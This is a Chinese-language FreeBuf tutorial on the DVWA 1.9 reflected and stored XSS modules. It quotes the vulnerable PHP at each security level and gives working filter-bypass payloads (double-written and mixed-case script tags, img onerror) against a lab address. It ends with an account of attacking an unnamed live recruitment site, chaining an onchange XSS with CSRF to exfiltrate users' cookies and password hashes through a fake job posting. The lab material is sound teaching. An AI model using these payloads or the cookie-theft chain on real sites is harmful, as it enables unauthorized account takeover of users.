*本文原创作者:lonehand,转载请注明来自FreeBuf.COM
目前,最新的 DVWA 已经更新到 1.9 版本( http://www.dvwa.co.uk/ ),而网上的教程大多停留在旧版本,且没有针对 DVWA high 级别的教程,因此萌发了一个撰写新手教程的想法,错误的地方还请大家指正。
DVWA ( Damn Vulnerable Web Application )是一个用来进行安全脆弱性鉴定的 PHP/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助 web 开发者更好的理解 web 应用安全防范的过程。
DVWA共有十个模块,分别是
Brute Force (暴力(破解))
Command Injection (命令行注入)
CSRF (跨站请求伪造)
File Inclusion (文件包含)
File Upload (文件上传)
Insecure CAPTCHA (不安全的验证码)
SQL Injection ( SQL 注入)
SQL Injection ( Blind )( SQL 盲注)
XSS ( Reflected )(反射型跨站脚本)
XSS ( Stored )(存储型跨站脚本)
需要注意的是, DVWA 1.9 的代码分为四种安全级别: Low , Medium , High , Impossible 。初学者可以通过比较四种级别的代码,接触到一些 PHP 代码审计的内容。
Freebuf 上的这篇文章《新手指南:手把手教你如何搭建自己的渗透测试环境》( http://www.freebuf.com/sectool/102661.html )已经写得非常好了,在这里就不赘述了。
本篇为完结篇,介绍 XSS 模块的相关内容,之前的教程:
Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection(Blind)
XSS ,全称 Cross Site Scripting ,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是, XSS 不仅仅限于 JavaScript ,还包括 flash 等其它脚本语言。根据恶意代码是否存储在服务器中, XSS 可以分为存储型的 XSS 与反射型的 XSS 。
DOM 型的 XSS 由于其特殊性,常常被分为第三种,这是一种基于 DOM 树的 XSS 。例如服务器端经常使用 document.boby.innerHtml 等函数动态生成 html 页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生 DOM 型的 XSS 。 DOM 型 XSS 可能是存储型,也有可能是反射型。
(注:下面的实验都是在 Firefox 浏览器下进行的,感谢火狐没做 XSS filter )
下面对四种级别的代码进行分析。
服务器端核心代码
Hello ' . $_GET[ 'name' ] . '
'; } ?>
可以看到,代码直接引用了 name 参数,并没有任何的过滤与检查,存在明显的 XSS 漏洞。
漏洞利用
输入 <script>alert(/xss/)</script> ,成功弹框:
相应的 XSS 链接:
http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(/xss/)%3C%2Fscript%3E#
服务器端核心代码
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
可以看到,这里对输入进行了过滤,基于黑名单的思想,使用 str_replace 函数将输入中的 <script> 删除,这种防护机制是可以被轻松绕过的。
漏洞利用
1. 双写绕过
输入 <sc<script>ript>alert(/xss/)</script> ,成功弹框:
相应的 XSS 链接:
http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3Csc%3Cscript%3Eript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#
2. 大小写混淆绕过
输入 <ScRipt>alert(/xss/)</script> ,成功弹框:
相应的 XSS 链接:
http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3CScRipt%3Ealert(%2Fxss%2F)%3C%2Fscript%3E#
服务器端核心代码
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
可以看到, High 级别的代码同样使用黑名单过滤输入, preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中 i 表示不区分大小写)不再有效。
漏洞利用
虽然无法使用 <script> 标签注入 XSS 代码,但是可以通过 img 、 body 等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。
输入 <img src=1 onerror=alert(/xss/)> ,成功弹框:
相应的 XSS 链接:
http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D1+onerror%3Dalert%28%2Fxss%2F%29%3E#
服务器端核心代码
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
可以看到, Impossible 级别的代码使用 htmlspecialchars 函数把预定义的字符 & 、 ” 、 ’ 、 < 、 > 转换为 HTML 实体,防止浏览器将其作为 HTML 元素。
存储型XSS
下面对四种级别的代码进行分析。
服务器端核心代码
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); // Sanitize name input $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
相关函数介绍
trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括 、 /t 、 /n 、 /x0B 、 /r 以及空格,可选参数 charlist 支持添加额外需要删除的字符。
mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号( /x00 , /n , /r , / , ‘ , “ , /x1a )进行转义。
stripslashes(string)
函数删除字符串中的反斜杠。
可以看到,对输入并没有做 XSS 方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型 XSS 漏洞。
漏洞利用
message 一栏输入 <script>alert(/xss/)</script> ,成功弹框:
name 一栏前端有字数限制,抓包改为 <script>alert(/name/)</script> :
成功弹框:
服务器端核心代码
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
相关函数说明
strip_tags() 函数剥去字符串中的 HTML 、 XML 以及 PHP 的标签,但允许使用 <b> 标签。
addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、 NULL )之前添加反斜杠的字符串。
可以看到,由于对 message 参数使用了 htmlspecialchars 函数进行编码,因此无法再通过 message 参数注入 XSS 代码,但是对于 name 参数,只是简单过滤了 <script> 字符串,仍然存在存储型的 XSS 。
漏洞利用
1. 双写绕过
抓包改 name 参数为 <sc<script>ript>alert(/xss/)</script>:
成功弹框:
2. 大小写混淆绕过
抓包改 name 参数为 <Script>alert(/xss/)</script>:
成功弹框:
服务器端核心代码
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
可以看到,这里使用正则表达式过滤了 <script> 标签,但是却忽略了 img 、 iframe 等其它危险的标签,因此 name 参数依旧存在存储型 XSS 。
High
抓包改 name 参数为 <img src=1 onerror=alert(1)> :
成功弹框:
服务器端核心代码
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = mysql_real_escape_string( $name ); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
可以看到,通过使用 htmlspecialchars 函数,解决了 XSS ,但是要注意的是,如果 htmlspecialchars 函数使用不当,攻击者就可以通过编码的方式绕过函数进行 XSS 注入,尤其是 DOM 型的 XSS 。
最后附赠最近遇到的一个实例:一次有趣的 XSS+CSRF 组合拳
最近执着于渗透各种 xx 人才网,前两天在某网站上发现了一个极其鸡肋的 XSS 漏洞,本来以为没有太大的利用价值,没想到结合 CSRF 攻击,却获得了意想不到的效果。
下面是某个招聘网站的用户个人资料界面:
用户可以在这里修改自己的基本资料并保存,经过 XSS 测试,这里的输入都过滤了成对的尖括号( < > )、 script 、 img、& 等字符,但是似乎遗漏了事件,于是尝试使用 input 标签的 onchange 事件注入 XSS 代码。
在通讯地址一栏输入 ” onchange=alert(2) “ 并保存,刷新页面,右键查看源码,注入成功:
只要尝试在通讯地址一栏中输入新的内容,就会触发 XSS ,弹框:
是的,成功触发 XSS 代码了,可是这个鸡肋的 XSS 漏洞有什么卵用呢?首先,这个 XSS 漏洞依赖事件触发,只有用户在修改个人资料时恶意代码才有可能执行,其次这是一个存储型的 XSS 漏洞,你不可能要求用户按照攻击者的意思,事先在自己的个人资料里键入 XSS 代码并保存吧。
0×03 CSRF带来的曙光
在修改个人资料的过程中,抓包发现这个修改接口并没有任何的防 CSRF 机制,存在明显的 CSRF 漏洞:
这给鸡肋的 XSS 漏洞带来了曙光,于是想到了可以结合 CSRF 攻击实现用户 cookie 的大面积盗取。攻击思路如下:
1. 构造一个 CSRF 攻击页面,诱使用户访问(在这种招聘网站,发布一个包含恶意页面的虚假招聘很容易做到)
2. 用户访问页面后,个人基本资料会被清空,同时注入 XSS 代码
3. 用户尝试补全个人资料,触发 XSS 代码,自动发送 cookie
下面是构造的 CSRF 攻击页面:
调皮地把 cookie 发(这里调皮地把cookie发给百度 = = )
下面是本地的攻击过程演示:
1. 受害者进入攻击页面,会看到 “你的基本资料被我清空了”的提示:
还会看到资料修改成功的提示,并跳转:
2. 这时候受害者会发现自己的个人资料被清空了:
却不知道已经被注入了 XSS 代码:
3. 当用户尝试修改通讯地址一栏时,就会触发 XSS 代码,自动发送 cookie (其中包含用户 id 、用户名、密码哈希值、 session-id ) :